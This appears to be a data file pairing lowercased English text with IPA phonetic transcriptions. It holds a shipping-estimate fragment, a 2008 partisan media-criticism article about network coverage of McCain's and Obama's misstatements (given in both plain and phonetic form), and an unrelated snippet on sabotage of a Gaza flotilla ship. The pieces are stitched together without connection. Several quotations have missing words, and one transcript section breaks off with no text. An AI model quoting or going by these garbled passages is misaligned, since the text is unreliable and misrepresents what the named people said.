ˈɛstəˌmeɪt ɔn ˈʃɪpɪŋ kɔsts. wi ˈkænɑt ˌgɛrənˈti ðə ˈfaɪnəl weɪt əv ɑr bʊks, bət ˈɛstəˌmeɪt iʧ wɪl weɪ əˈbaʊt 2 paʊnz 0.9kg*). ˌhaʊˈɛvər, ðɪs ˈɛstəˌmeɪt ɪz ˈsəbʤɪkt tɪ strɛʧ goʊl ˈəpˌgreɪdz, spɛk ˈʧeɪnʤɪz, ənd ðə weɪt əv ˈpækɪʤɪŋ. noʊt ðət ju ər riˈspɑnsəbəl fər ˌɪmˈpɔrt ˈdutiz, ˈtæksɪz, væt fiz, ˌɛtˈsɛtərə. wi kəmˈplaɪ wɪθ ˌɪnərˈnæʃənɑl lɔ. ˈʃɪpmənts wɪl ˈlaɪkli ərˈɪʤəˌneɪt frəm nɪr ˈkərklənd, ˈwɔʃɪŋtən. |
despite media figures from the three broadcast networks asserting that because of the extensive media presence on his trip to the middle east and europe, any "mistake," "gaffe," or "misstatement" by sen. barack obama would be amplified and could have vast negative consequences, none of the networks' evening news programs has reported on sen. john mccain's recent misstatements regarding a nonexistent border and the timing of the awakening.
none of the three broadcast networks' evening news programs -- abc's world news with charles gibson, the cbs evening news with katie couric, and nightly news with brian williams -- has reported on sen. john mccain's recent misstatements regarding a nonexistent border and the timing of the awakening. in contrast with the networks' ignoring mccain's misstatements in their nightly news broadcasts, both of which have been made during sen. barack obama's trip abroad, media figures from each network warned of what they said would be the great impact of any "mistake," "gaffe," or "misstatement" by obama during his trip.
for instance:
in advance of obama's trip, abc news chief washington correspondent george stephanopoulos said during the july 18 edition of abc news' good morning america that in his trip obama has "got to show he can do the job. and above all ... not make any mistakes on this trip. a gaffe could be a killer for obama." stephanopoulos went on to say that the "mccain campaign is very frustrated by this" because three evening news anchors going over to -- on this foreign soil with barack obama." he added, "i think they will look to take quick hits every day and, of course, pounce on any mistake that barack obama makes. that would be the big opening for the mccain campaign."
on the july 18 edition of the cbs evening news, senior political correspondent jeff greenfield said that the "saturation coverage" of obama's trip "has already led the conservative blogosphere to offer blistering critiques of a liberal media slavishly treating obama as a pop star, but of course, katie [couric], the sheer presence of media in no way guarantees favorable coverage. in some ways, it makes the possibility of a misstep that much more dangerous." in response to anchor katie question, "what do you think is the biggest potential landmine for him," greenfield responded: "you know, i think it's everything from an untoward photo opportunity -- [former democratic presidential candidate michael] dukakis in a tank -- to a misstatement that makes it seem to critics that he really does not know the nature of the terrain that he's -- that he's talking about."
nbc news chief foreign affairs correspondent andrea mitchell said that obama ran the "risk of making a mistake in a very high-profile trip," during the july 18 broadcast of morning joe. david gregory, nbc news chief white house correspondent and host of race to the white house, teased a discussion on the july 17 edition of his show by stating: "next up, obama studying the script for his world stage debut next week. he's expected to stick closely to campaign talking points to avoid a potential gaffe that, as we say, could be heard around the world."
notwithstanding the importance they attached to any potential "gaffe" by obama during his trip, the three networks have ignored two by mccain in the same time period. none of the networks has reported during its evening news program that in an interview with couric, mccain falsely claimed that the 2007 troop surge "began the awakening." as media matters for america has documented, the awakening reportedly began in september 2006, months before the surge was even announced. indeed, as blogger jed noted, in the 2008 issue of military review, col. sean b. macfarland -- who mccain said "was contacted by one of the major sunni sheiks" -- and maj. niel smith wrote: "the awakening' of sunni tribal leaders and their supporters that began in september 2006 near seemed to come out of nowhere." president bush announced the surge on january 10, 2007, asserting in an address that he had "committed more than additional american troops to iraq."
in the case of cbs news, rather than airing mccain's falsehood in response to question on obama's statements regarding "increased security in iraq," cbs cut out the falsehood completely and instead aired comments by mccain that were spliced together from three separate statements he gave during the interview, one of which was in response to a different question. couric gave no indication that these comments had been edited in any manner, nor did she otherwise note mccain's falsehood. in a statement reported in the washington post on july 24, cbs news acknowledged it erred, but maintained, falsely, that the video as aired did not misrepresent mccain's comments.
in addition, while being interviewed on the july 21 broadcast of abc's good morning america, mccain referred to "the border" -- which does not exist -- while discussing the ongoing war in afghanistan. as media matters noted, host diane sawyer did not correct mccain's statement or otherwise point out that iraq and pakistan do not share a border. the abc news political newsletter the note stated of mccain's border" comment: was mccain who owns the first big gaffe of the trip," referring to obama's trip to the middle east and europe. but none of the three networks -- including abc -- reported on the misstatement during its evening broadcast.
from july 18 edition of morning joe:
mika brzezinski (co-host): let's talk about barack obama's trip overall. mitchell: my pleasure. brzezinski: what are the risks that he faces politically along the way here? mitchell: well, first of all, the risk of making a mistake in a very high-profile trip. also, the risk of getting involved in middle east diplomacy.
from the july 18 edition of the cbs evening news with katie couric:
greenfield: the second part of obama's trip will be a visit to europe and the middle east. he'll meet with israeli and palestinian leaders, walking a fragile diplomatic tightrope. joe (cbs news political analyst) [video clip]: this is a game for obama. he doesn't want to make any mistakes. certainly if he does make one, make a statement that causes a problem, it'll be a huge one. greenfield: but with voters concerned about the freshman senator's foreign policy and national security experience, obama has little choice but to take the overseas gamble to shore up his credentials. for its part, the mccain camp was on the attack with a new ad. unidentified male [video clip]: he hasn't been to iraq in years. now obama is changing to help himself become president. greenfield: there's little question that throughout this trip, senator obama will be walking a fine line. [video clip]: you want to look presidential, but you don't want to look like you're president. that could be presumptuous and it could backfire here in -- here with the electorate. greenfield: this saturation coverage has already led the conservative blogosphere to offer blistering critiques of a liberal media slavishly treating obama as a pop star, but of course, katie, the sheer presence of media in no way guarantees favorable coverage. in some ways, it makes the possibility of a misstep that much more dangerous. couric: of course, he does, as you mention, have to walk some tightropes. what do you think is the biggest potential landmine for him? greenfield: you know, i think it's everything from a -- an untoward photo opportunity -- dukakis in a tank -- to a misstatement that makes it seem to critics that he really does not know the nature of the terrain that he's -- that he's talking about. couric: and while the political benefits are -- are many, i.e., you know, visuals of him appearing statesmanlike with a variety of world leaders, can a single trip wipe out the perception in the minds of some that he lacks the credentials in foreign policy? greenfield: well, assuming he doesn't come back with a mideast peace plan that all -- everybody signs on to, which is unlikely, no, but it can neutralize the fears. he doesn't have to equal mccain in that stature; he just has to make voters seem like he's ok, he knows what he's talking about.
from the july 18 edition of abc's good morning america:
robin roberts (news anchor): well, how is he going to kind of change the perception out there? because our latest poll shows that most americans, even most democrats, say that senator john mccain would be a good of the military. fewer than half of those polled feel that way about obama. so, what does he need to do on this trip to change that? stephanopoulos: he's got to show he can do the job, and above all, robin, not make any mistakes on this trip. a gaffe could be a killer for barack obama. in iraq, he's got a special problem. as martha hinted at just a couple of minutes ago, he is going to be talking to commanders who disagree with the timeline he's set out for iraq. and he -- somehow, he's got to find a way to show that he's listening to the commanders but is not giving up on his principles. that's going to be difficulty number one. number two, in israel, he'll face this tricky thicket of -- of questions about the middle east peace process. many presidential candidates have made mistakes on -- on that before. he's going to have to avoid that. in europe, it's slightly different. in europe, he -- he's -- he's facing a situation where he does have an advantage on foreign policy, improving america's image in the world. and somehow, he's got to express the aspirations for the united states, the aspirations of an obama policy without appearing to criticize president bush overseas. roberts: and finally, how does mccain counter all of this attention that obama is going to be receiving on this trip? stephanopoulos: the mccain campaign is very frustrated by this, as you know. all three evening news anchors going over to -- on this foreign soil with barack obama. they know he's gonna get a lot of attention. i think they will look to take quick hits every day and, of course, pounce on any mistake that barack obama makes. that would be the big opening for the mccain campaign. roberts: all right, george, thank you as always for "the bottom line," and have a good weekend.
from the july 17 edition of race for the white house: | dɪˈspaɪt ˈmidiə ˈfɪgjərz frəm ðə θri ˈbrɔdˌkæst ˈnɛtˌwərks əˈsərtɪŋ ðət bɪˈkəz əv ðə ɪkˈstɛnsɪv ˈmidiə ˈprɛzəns ɔn hɪz trɪp tɪ ðə ˈmɪdəl ist ənd ˈjʊrəp, ˈɛni "mɪˈsteɪk," "gæf," ər "mɪˈsteɪtmənt" baɪ sɛn. ˈbɑrək ˌoʊˈbɑmə wʊd bi ˈæmpləˌfaɪd ənd kʊd hæv væst ˈnɛgətɪv ˈkɑnsəkˌwɛnsəz, nən əv ðə ˈnɛtˌwərks' ˈivnɪŋ nuz ˈproʊˌgræmz həz ˌriˈpɔrtəd ɔn sɛn. ʤɑn məˈkeɪnz ˈrisənt mɪˈsteɪtmənts rɪˈgɑrdɪŋ ə ˌnɑnəgˈzɪstənt ˈbɔrdər ənd ðə ˈtaɪmɪŋ əv ðə əˈweɪkənɪŋ. nən əv ðə θri ˈbrɔdˌkæst ˈnɛtˌwərks' ˈivnɪŋ nuz ˈproʊˌgræmz ˈeɪˌbiˌsiz wərld nuz wɪθ ˈʧɑrəlz ˈgɪbsən, ðə ˈsiˌbiˌɛs ˈivnɪŋ nuz wɪθ ˈkeɪti ˈkɔrɪk, ənd ˈnaɪtli nuz wɪθ braɪən ˈwɪljəmz həz ˌriˈpɔrtəd ɔn sɛn. ʤɑn məˈkeɪnz ˈrisənt mɪˈsteɪtmənts rɪˈgɑrdɪŋ ə ˌnɑnəgˈzɪstənt ˈbɔrdər ənd ðə ˈtaɪmɪŋ əv ðə əˈweɪkənɪŋ. ɪn ˈkɑntræst wɪθ ðə ˈnɛtˌwərks' ˌɪgˈnɔrɪŋ məˈkeɪnz mɪˈsteɪtmənts ɪn ðɛr ˈnaɪtli nuz ˈbrɔdˌkæsts, boʊθ əv wɪʧ hæv bɪn meɪd ˈdʊrɪŋ sɛn. ˈbɑrək ˌoʊˈbɑməz trɪp əˈbrɔd, ˈmidiə ˈfɪgjərz frəm iʧ ˈnɛtˌwərk wɔrnd əv wət ðeɪ sɛd wʊd bi ðə greɪt ˌɪmˈpækt əv ˈɛni "mɪˈsteɪk," "gæf," ər "mɪˈsteɪtmənt" baɪ ˌoʊˈbɑmə ˈdʊrɪŋ hɪz trɪp. fər ˈɪnstəns: ɪn ədˈvæns əv ˌoʊˈbɑməz trɪp, ˈeɪˌbiˌsi nuz ʧif ˈwɔʃɪŋtən ˌkɔrəˈspɑndənt ʤɔrʤ ˌstɛfəˈnɑpələs sɛd ˈdʊrɪŋ ðə ˌʤuˈlaɪ 18 ɪˈdɪʃən əv ˈeɪˌbiˌsi nuz' gʊd ˈmɔrnɪŋ əˈmɛrɪkə ðət ɪn hɪz trɪp ˌoʊˈbɑmə həz "gɑt tɪ ʃoʊ hi kən du ðə ʤɑb. ənd əˈbəv ɔl nɑt meɪk ˈɛni mɪˈsteɪks ɔn ðɪs trɪp. ə gæf kʊd bi ə ˈkɪlər fər ˌoʊˈbɑmə." ˌstɛfəˈnɑpələs wɛnt ɔn tɪ seɪ ðət ðə "məˈkeɪn kæmˈpeɪn ɪz ˈvɛri ˈfrəˌstreɪtəd baɪ ðɪs" bɪˈkəz θri ˈivnɪŋ nuz ˈæŋkərz goʊɪŋ ˈoʊvər tɪ ɔn ðɪs ˈfɔrən sɔɪl wɪθ ˈbɑrək ˌoʊˈbɑmə." hi ˈædɪd, "aɪ θɪŋk ðeɪ wɪl lʊk tɪ teɪk kwɪk hɪts ˈɛvəri deɪ ənd, əv kɔrs, paʊns ɔn ˈɛni mɪˈsteɪk ðət ˈbɑrək ˌoʊˈbɑmə meɪks. ðət wʊd bi ðə bɪg ˈoʊpənɪŋ fər ðə məˈkeɪn kæmˈpeɪn." ɔn ðə ˌʤuˈlaɪ 18 ɪˈdɪʃən əv ðə ˈsiˌbiˌɛs ˈivnɪŋ nuz, ˈsinjər pəˈlɪtɪkəl ˌkɔrəˈspɑndənt ʤɛf ˈgrinˌfild sɛd ðət ðə "ˌsæʧərˈeɪʃən ˈkəvərɪʤ" əv ˌoʊˈbɑməz trɪp "həz ɔˈrɛdi lɛd ðə kənˈsərvətɪv ˈblɔgɔsˈfir tɪ ˈɔfər ˈblɪstərɪŋ krɪˈtiks əv ə ˈlɪˌbərəl ˈmidiə sˈlævɪʃli ˈtritɪŋ ˌoʊˈbɑmə ɛz ə pɑp stɑr, bət əv kɔrs, ˈkeɪti [ˈkɔrɪk], ðə ʃɪr ˈprɛzəns əv ˈmidiə ɪn noʊ weɪ ˌgɛrənˈtiz ˈfeɪvərəbəl ˈkəvərɪʤ. ɪn səm weɪz, ɪt meɪks ðə ˌpɑsəˈbɪləˌti əv ə mɪˈstɛp ðət məʧ mɔr ˈdeɪnʤərəs." ɪn rɪˈspɑns tɪ ˈæŋkər ˈkeɪti kˈwɛʃən, "wət du ju θɪŋk ɪz ðə ˈbɪgəst pəˈtɛnʃəl ˈlændˌmaɪn fər ɪm," ˈgrinˌfild rɪˈspɑndɪd: "ju noʊ, aɪ θɪŋk ɪts ˈɛvriˌθɪŋ frəm ən əntəˈwɔrd ˈfoʊˌtoʊ ˌɑpərˈtunəti [ˈfɔrmər ˌdɛməˈkrætɪk ˌprɛzɪˈdɛnʃəl ˈkænədɪt ˈmaɪkəl] duˈkɑkɪs ɪn ə tæŋk tɪ ə mɪˈsteɪtmənt ðət meɪks ɪt sim tɪ ˈkrɪtɪks ðət hi ˈrɪli dɪz nɑt noʊ ðə ˈneɪʧər əv ðə təreɪn ðət hiz ðət hiz ˈtɔkɪŋ əˈbaʊt." ˈɛnˌbiˈsi nuz ʧif ˈfɔrən əˈfɛrz ˌkɔrəˈspɑndənt ˌɑnˈdreɪə ˈmɪʧəl sɛd ðət ˌoʊˈbɑmə ræn ðə "rɪsk əv ˈmeɪkɪŋ ə mɪˈsteɪk ɪn ə ˈvɛri ˌhaɪˈproʊfaɪl trɪp," ˈdʊrɪŋ ðə ˌʤuˈlaɪ 18 ˈbrɔdˌkæst əv ˈmɔrnɪŋ ʤoʊ. ˈdeɪvɪd ˈgrɛgəri, ˈɛnˌbiˈsi nuz ʧif waɪt haʊs ˌkɔrəˈspɑndənt ənd hoʊst əv reɪs tɪ ðə waɪt haʊs, tizd ə dɪˈskəʃən ɔn ðə ˌʤuˈlaɪ 17 ɪˈdɪʃən əv hɪz ʃoʊ baɪ ˈsteɪtɪŋ: "nɛkst əp, ˌoʊˈbɑmə ˈstədiɪŋ ðə skrɪpt fər hɪz wərld steɪʤ ˈdeɪbju nɛkst wik. hiz ɪkˈspɛktɪd tɪ stɪk ˈkloʊsli tɪ kæmˈpeɪn ˈtɔkɪŋ pɔɪnts tɪ əˈvɔɪd ə pəˈtɛnʃəl gæf ðət, ɛz wi seɪ, kʊd bi hərd əraʊnd ðə wərld." ˌnɑtwɪθˈstændɪŋ ðə ˌɪmˈpɔrtəns ðeɪ əˈtæʧt tɪ ˈɛni pəˈtɛnʃəl "gæf" baɪ ˌoʊˈbɑmə ˈdʊrɪŋ hɪz trɪp, ðə θri ˈnɛtˌwərks hæv ˌɪgˈnɔrd tu baɪ məˈkeɪn ɪn ðə seɪm taɪm ˈpɪriəd. nən əv ðə ˈnɛtˌwərks həz ˌriˈpɔrtəd ˈdʊrɪŋ ɪts ˈivnɪŋ nuz ˈproʊˌgræm ðət ɪn ən ˈɪntərvˌju wɪθ ˈkɔrɪk, məˈkeɪn ˈfɔlsli kleɪmd ðət ðə 2007 trup sərʤ "bɪˈgæn ðə əˈweɪkənɪŋ." ɛz ˈmidiə ˈmætərz fər əˈmɛrɪkə həz ˈdɑkjəˌmɛnəd, ðə əˈweɪkənɪŋ rɪˈpɔrtədli bɪˈgæn ɪn sɛpˈtɛmbər 2006 mənθs ˌbiˈfɔr ðə sərʤ wɑz ˈivɪn əˈnaʊnst. ˌɪnˈdid, ɛz ˈblɔgər ʤɛd ˈnoʊtɪd, ɪn ðə 2008 ˈɪʃu əv ˈmɪlɪˌtɛri ˌrivˈju, col*. ʃɔn bi. məkˈfɑrlənd hu məˈkeɪn sɛd "wɑz ˈkɑnˌtæktɪd baɪ wən əv ðə ˈmeɪʤər ˈsuni ʃiks" ənd mæʤ. nil smɪθ roʊt: "ðə əˈweɪkənɪŋ' əv ˈsuni ˈtraɪbəl ˈlidərz ənd ðɛr səˈpɔrtərz ðət bɪˈgæn ɪn sɛpˈtɛmbər 2006 nɪr simd tɪ kəm aʊt əv ˈnoʊˌwɛr." ˈprɛzɪdənt bʊʃ əˈnaʊnst ðə sərʤ ɔn ˈʤænjuˌɛri 10 2007 əˈsərtɪŋ ɪn ən ˈæˌdrɛs ðət hi hæd "kəˈmɪtɪd mɔr ðən əˈdɪʃənəl əˈmɛrɪkən trups tɪ ˌɪˈrɑk." ɪn ðə keɪs əv ˈsiˌbiˌɛs nuz, ˈrəðər ðən ˈɛrɪŋ məˈkeɪnz ˈfælsˌhʊd ɪn rɪˈspɑns tɪ kˈwɛʃən ɔn ˌoʊˈbɑməz ˈsteɪtmənts rɪˈgɑrdɪŋ "ˌɪnˈkrist sɪˈkjʊrəti ɪn ˌɪˈrɑk," ˈsiˌbiˌɛs kət aʊt ðə ˈfælsˌhʊd kəmˈplitli ənd ˌɪnˈstɛd ɛrd ˈkɑmɛnts baɪ məˈkeɪn ðət wər splaɪst təˈgɛðər frəm θri ˈsɛpərˌeɪt ˈsteɪtmənts hi geɪv ˈdʊrɪŋ ðə ˈɪntərvˌju, wən əv wɪʧ wɑz ɪn rɪˈspɑns tɪ ə ˈdɪfərənt kˈwɛʃən. ˈkɔrɪk geɪv noʊ ˌɪndəˈkeɪʃən ðət ðiz ˈkɑmɛnts hæd bɪn ˈɛdɪtɪd ɪn ˈɛni ˈmænər, nɔr dɪd ʃi ˈəðərˌwaɪz noʊt məˈkeɪnz ˈfælsˌhʊd. ɪn ə ˈsteɪtmənt ˌriˈpɔrtəd ɪn ðə ˈwɔʃɪŋtən poʊst ɔn ˌʤuˈlaɪ 24 ˈsiˌbiˌɛs nuz ækˈnɑlɪʤd ɪt ɛrd, bət meɪnˈteɪnd, ˈfɔlsli, ðət ðə ˈvɪdioʊ ɛz ɛrd dɪd nɑt mɪsˌrɛprəˈzɛnt məˈkeɪnz ˈkɑmɛnts. ɪn əˈdɪʃən, waɪl biɪŋ ˈɪntərvˌjud ɔn ðə ˌʤuˈlaɪ 21 ˈbrɔdˌkæst əv ˈeɪˌbiˌsiz gʊd ˈmɔrnɪŋ əˈmɛrɪkə, məˈkeɪn rɪˈfərd tɪ "ðə ˈbɔrdər" wɪʧ dɪz nɑt ɪgˈzɪst waɪl dɪˈskəsɪŋ ðə ˈɔnˌgoʊɪŋ wɔr ɪn æfˈgænəˌstæn. ɛz ˈmidiə ˈmætərz ˈnoʊtɪd, hoʊst daɪæn ˈsɔjər dɪd nɑt kərˈɛkt məˈkeɪnz ˈsteɪtmənt ər ˈəðərˌwaɪz pɔɪnt aʊt ðət ˌɪˈrɑk ənd ˈpækɪˌstæn du nɑt ʃɛr ə ˈbɔrdər. ðə ˈeɪˌbiˌsi nuz pəˈlɪtɪkəl ˈnuzˌlɛtər ðə noʊt ˈsteɪtɪd əv məˈkeɪnz ˈbɔrdər" ˈkɑmɛnt: wɑz məˈkeɪn hu oʊnz ðə fərst bɪg gæf əv ðə trɪp," rɪˈfərɪŋ tɪ ˌoʊˈbɑməz trɪp tɪ ðə ˈmɪdəl ist ənd ˈjʊrəp. bət nən əv ðə θri ˈnɛtˌwərks ˌɪnˈkludɪŋ ˈeɪˌbiˌsi ˌriˈpɔrtəd ɔn ðə mɪˈsteɪtmənt ˈdʊrɪŋ ɪts ˈivnɪŋ ˈbrɔdˌkæst. frəm ˌʤuˈlaɪ 18 ɪˈdɪʃən əv ˈmɔrnɪŋ ʤoʊ: ˈmikə brɪˈzɪnski (co-host*): lɛts tɔk əˈbaʊt ˈbɑrək ˌoʊˈbɑməz trɪp ˈoʊvərˌɔl. ˈmɪʧəl: maɪ ˈplɛʒər. brɪˈzɪnski: wət ər ðə rɪsks ðət hi ˈfeɪsɪz ˈplɪtɪkli əˈlɔŋ ðə weɪ hir? ˈmɪʧəl: wɛl, fərst əv ɔl, ðə rɪsk əv ˈmeɪkɪŋ ə mɪˈsteɪk ɪn ə ˈvɛri ˌhaɪˈproʊfaɪl trɪp. ˈɔlsoʊ, ðə rɪsk əv ˈgɪtɪŋ ˌɪnˈvɑlvd ɪn ˈmɪdəl ist dɪˈploʊməsi. frəm ðə ˌʤuˈlaɪ 18 ɪˈdɪʃən əv ðə ˈsiˌbiˌɛs ˈivnɪŋ nuz wɪθ ˈkeɪti ˈkɔrɪk: ˈgrinˌfild: ðə ˈsɛkənd pɑrt əv ˌoʊˈbɑməz trɪp wɪl bi ə ˈvɪzɪt tɪ ˈjʊrəp ənd ðə ˈmɪdəl ist. hil mit wɪθ ˌɪzˈreɪli ənd ˌpælɪˈstɪniən ˈlidərz, ˈwɔkɪŋ ə ˈfræʤəl ˌdɪpləˈmætɪk ˈtaɪˌtroʊp. ʤoʊ (ˈsiˌbiˌɛs nuz pəˈlɪtɪkəl ˈænəlɪst) [ˈvɪdioʊ klɪp]: ðɪs ɪz ə geɪm fər ˌoʊˈbɑmə. hi ˈdəzənt wɔnt tɪ meɪk ˈɛni mɪˈsteɪks. ˈsərtənli ɪf hi dɪz meɪk wən, meɪk ə ˈsteɪtmənt ðət ˈkɔzɪz ə ˈprɑbləm, ˈɪtəl bi ə juʤ wən. ˈgrinˌfild: bət wɪθ ˈvoʊtərz kənˈsərnd əˈbaʊt ðə ˈfrɛʃmən ˈsɛnətərz ˈfɔrən ˈpɑləsi ənd ˈnæʃənəl sɪˈkjʊrəti ɪkˈspɪriəns, ˌoʊˈbɑmə həz ˈlɪtəl ʧɔɪs bət tɪ teɪk ðə ˈoʊvərˈsiz ˈgæmbəl tɪ ʃɔr əp hɪz krəˈdɛnʃəlz. fər ɪts pɑrt, ðə məˈkeɪn kæmp wɑz ɔn ðə əˈtæk wɪθ ə nu æd. ˌənaɪˈdɛntəˌfaɪd meɪl [ˈvɪdioʊ klɪp]: hi ˈhæzənt bɪn tɪ ˌɪˈrɑk ɪn jɪrz. naʊ ˌoʊˈbɑmə ɪz ˈʧeɪnʤɪŋ tɪ hɛlp hɪmˈsɛlf bɪˈkəm ˈprɛzɪdənt. ˈgrinˌfild: ðɛrz ˈlɪtəl kˈwɛʃən ðət θruaʊt ðɪs trɪp, ˈsɛnətər ˌoʊˈbɑmə wɪl bi ˈwɔkɪŋ ə faɪn laɪn. [ˈvɪdioʊ klɪp]: ju wɔnt tɪ lʊk ˌprɛzɪˈdɛnʃəl, bət ju doʊnt wɔnt tɪ lʊk laɪk jʊr ˈprɛzɪdənt. ðət kʊd bi prɪˈzəmpʧəwəs ənd ɪt kʊd ˈbækˌfaɪr hir ɪn hir wɪθ ðə ɪˈlɛktərət. ˈgrinˌfild: ðɪs ˌsæʧərˈeɪʃən ˈkəvərɪʤ həz ɔˈrɛdi lɛd ðə kənˈsərvətɪv ˈblɔgɔsˈfir tɪ ˈɔfər ˈblɪstərɪŋ krɪˈtiks əv ə ˈlɪˌbərəl ˈmidiə sˈlævɪʃli ˈtritɪŋ ˌoʊˈbɑmə ɛz ə pɑp stɑr, bət əv kɔrs, ˈkeɪti, ðə ʃɪr ˈprɛzəns əv ˈmidiə ɪn noʊ weɪ ˌgɛrənˈtiz ˈfeɪvərəbəl ˈkəvərɪʤ. ɪn səm weɪz, ɪt meɪks ðə ˌpɑsəˈbɪləˌti əv ə mɪˈstɛp ðət məʧ mɔr ˈdeɪnʤərəs. ˈkɔrɪk: əv kɔrs, hi dɪz, ɛz ju ˈmɛnʃən, hæv tɪ wɔk səm tightropes*. wət du ju θɪŋk ɪz ðə ˈbɪgəst pəˈtɛnʃəl ˈlændˌmaɪn fər ɪm? ˈgrinˌfild: ju noʊ, aɪ θɪŋk ɪts ˈɛvriˌθɪŋ frəm ə ən əntəˈwɔrd ˈfoʊˌtoʊ ˌɑpərˈtunəti duˈkɑkɪs ɪn ə tæŋk tɪ ə mɪˈsteɪtmənt ðət meɪks ɪt sim tɪ ˈkrɪtɪks ðət hi ˈrɪli dɪz nɑt noʊ ðə ˈneɪʧər əv ðə təreɪn ðət hiz ðət hiz ˈtɔkɪŋ əˈbaʊt. ˈkɔrɪk: ənd waɪl ðə pəˈlɪtɪkəl ˈbɛnəfɪts ər ər ˈmɛni, i.e*., ju noʊ, ˈvɪʒwəlz əv ɪm əˈpɪrɪŋ stəˈtɛsmənˌlaɪk wɪθ ə vərˈaɪəti əv wərld ˈlidərz, kən ə ˈsɪŋgəl trɪp waɪp aʊt ðə pərˈsɛpʃən ɪn ðə maɪndz əv səm ðət hi læks ðə krəˈdɛnʃəlz ɪn ˈfɔrən ˈpɑləsi? ˈgrinˌfild: wɛl, əˈsumɪŋ hi ˈdəzənt kəm bæk wɪθ ə ˈmɪˌdist pis plæn ðət ɔl ˈɛvriˌbɑdi saɪnz ɔn tɪ, wɪʧ ɪz ənˈlaɪkli, noʊ, bət ɪt kən ˈnutrəˌlaɪz ðə fɪrz. hi ˈdəzənt hæv tɪ ˈikwəl məˈkeɪn ɪn ðət ˈstæʧər; hi ʤɪst həz tɪ meɪk ˈvoʊtərz sim laɪk hiz ˈoʊˈkeɪ, hi noʊz wət hiz ˈtɔkɪŋ əˈbaʊt. frəm ðə ˌʤuˈlaɪ 18 ɪˈdɪʃən əv ˈeɪˌbiˌsiz gʊd ˈmɔrnɪŋ əˈmɛrɪkə: ˈrɑbɪn ˈrɑbərts (nuz ˈæŋkər): wɛl, haʊ ɪz hi goʊɪŋ tɪ kaɪnd əv ʧeɪnʤ ðə pərˈsɛpʃən aʊt ðɛr? bɪˈkəz ɑr ˈleɪtəst poʊl ʃoʊz ðət moʊst əˈmɛrɪkənz, ˈivɪn moʊst ˈdɛməˌkræts, seɪ ðət ˈsɛnətər ʤɑn məˈkeɪn wʊd bi ə gʊd əv ðə ˈmɪlɪˌtɛri. fjuər ðən hæf əv ðoʊz poʊld fil ðət weɪ əˈbaʊt ˌoʊˈbɑmə. soʊ, wət dɪz hi nid tɪ du ɔn ðɪs trɪp tɪ ʧeɪnʤ ðət? ˌstɛfəˈnɑpələs: hiz gɑt tɪ ʃoʊ hi kən du ðə ʤɑb, ənd əˈbəv ɔl, ˈrɑbɪn, nɑt meɪk ˈɛni mɪˈsteɪks ɔn ðɪs trɪp. ə gæf kʊd bi ə ˈkɪlər fər ˈbɑrək ˌoʊˈbɑmə. ɪn ˌɪˈrɑk, hiz gɑt ə ˈspɛʃəl ˈprɑbləm. ɛz ˈmɑrθə ˈhɪnɪd æt ʤɪst ə ˈkəpəl əv ˈmɪnəts əˈgoʊ, hi ɪz goʊɪŋ tɪ bi ˈtɔkɪŋ tɪ kəˈmændərz hu dɪsəˈgri wɪθ ðə ˈtaɪmlaɪn hiz sɛt aʊt fər ˌɪˈrɑk. ənd hi ˈsəmˌhaʊ, hiz gɑt tɪ faɪnd ə weɪ tɪ ʃoʊ ðət hiz ˈlɪsənɪŋ tɪ ðə kəˈmændərz bət ɪz nɑt ˈgɪvɪŋ əp ɔn hɪz ˈprɪnsəpəlz. ðæts goʊɪŋ tɪ bi ˈdɪfɪˌkəlti ˈnəmbər wən. ˈnəmbər tu, ɪn ˈɪzriəl, hil feɪs ðɪs ˈtrɪki ˈθɪkɪt əv əv kˈwɛsʧənz əˈbaʊt ðə ˈmɪdəl ist pis ˈprɔˌsɛs. ˈmɛni ˌprɛzɪˈdɛnʃəl ˈkænədɪts hæv meɪd mɪˈsteɪks ɔn ɔn ðət ˌbiˈfɔr. hiz goʊɪŋ tɪ hæv tɪ əˈvɔɪd ðət. ɪn ˈjʊrəp, ɪts sˈlaɪtli ˈdɪfərənt. ɪn ˈjʊrəp, hi hiz hiz ˈfeɪsɪŋ ə ˌsɪʧuˈeɪʃən wɛr hi dɪz hæv ən ædˈvæntɪʤ ɔn ˈfɔrən ˈpɑləsi, ˌɪmˈpruvɪŋ əˈmɛrɪkəz ˈɪmɪʤ ɪn ðə wərld. ənd ˈsəmˌhaʊ, hiz gɑt tɪ ɪkˈsprɛs ðə ˌæspərˈeɪʃənz fər ðə juˈnaɪtɪd steɪts, ðə ˌæspərˈeɪʃənz əv ən ˌoʊˈbɑmə ˈpɑləsi wɪˈθaʊt əˈpɪrɪŋ tɪ ˈkrɪtɪˌsaɪz ˈprɛzɪdənt bʊʃ ˈoʊvərˈsiz. ˈrɑbərts: ənd ˈfaɪnəli, haʊ dɪz məˈkeɪn ˈkaʊntər ɔl əv ðɪs əˈtɛnʃən ðət ˌoʊˈbɑmə ɪz goʊɪŋ tɪ bi rɪˈsivɪŋ ɔn ðɪs trɪp? ˌstɛfəˈnɑpələs: ðə məˈkeɪn kæmˈpeɪn ɪz ˈvɛri ˈfrəˌstreɪtəd baɪ ðɪs, ɛz ju noʊ. ɔl θri ˈivnɪŋ nuz ˈæŋkərz goʊɪŋ ˈoʊvər tɪ ɔn ðɪs ˈfɔrən sɔɪl wɪθ ˈbɑrək ˌoʊˈbɑmə. ðeɪ noʊ hiz ˈgɑnə gɪt ə lɔt əv əˈtɛnʃən. aɪ θɪŋk ðeɪ wɪl lʊk tɪ teɪk kwɪk hɪts ˈɛvəri deɪ ənd, əv kɔrs, paʊns ɔn ˈɛni mɪˈsteɪk ðət ˈbɑrək ˌoʊˈbɑmə meɪks. ðət wʊd bi ðə bɪg ˈoʊpənɪŋ fər ðə məˈkeɪn kæmˈpeɪn. ˈrɑbərts: ɔl raɪt, ʤɔrʤ, θæŋk ju ɛz ˈɔlˌweɪz fər "ðə ˈbɑtəm laɪn," ənd hæv ə gʊd ˈwiˌkɪnd. frəm ðə ˌʤuˈlaɪ 17 ɪˈdɪʃən əv reɪs fər ðə waɪt haʊs: |
a ship jointly owned by swedish, greek, and norwegian activists hoping to join a flotilla of activist vessels challenging israel's economic blockade of gaza, had its propeller cut while in harbor today. a spokesman contacted by the monitor said that the damage was a deliberate act of sabotage.
israel and its allies have been working hard to head off the planned flotilla, which is hoping to enter the waters off gaza in the next week. col. (ret) ann wright, who's organizing a us vessel named the audacity of hope for the flotilla, says her ship has been detained in athens on spurious charges that it's not seaworthy. she says that charge was made by an israeli legal group.
now the juliano is held up. mikael löfgren, a spokesman for ship to gaza sweden, says the damage was discovered at in the evening athens time today, and that divers probably cut the propeller in the past 24 hours.
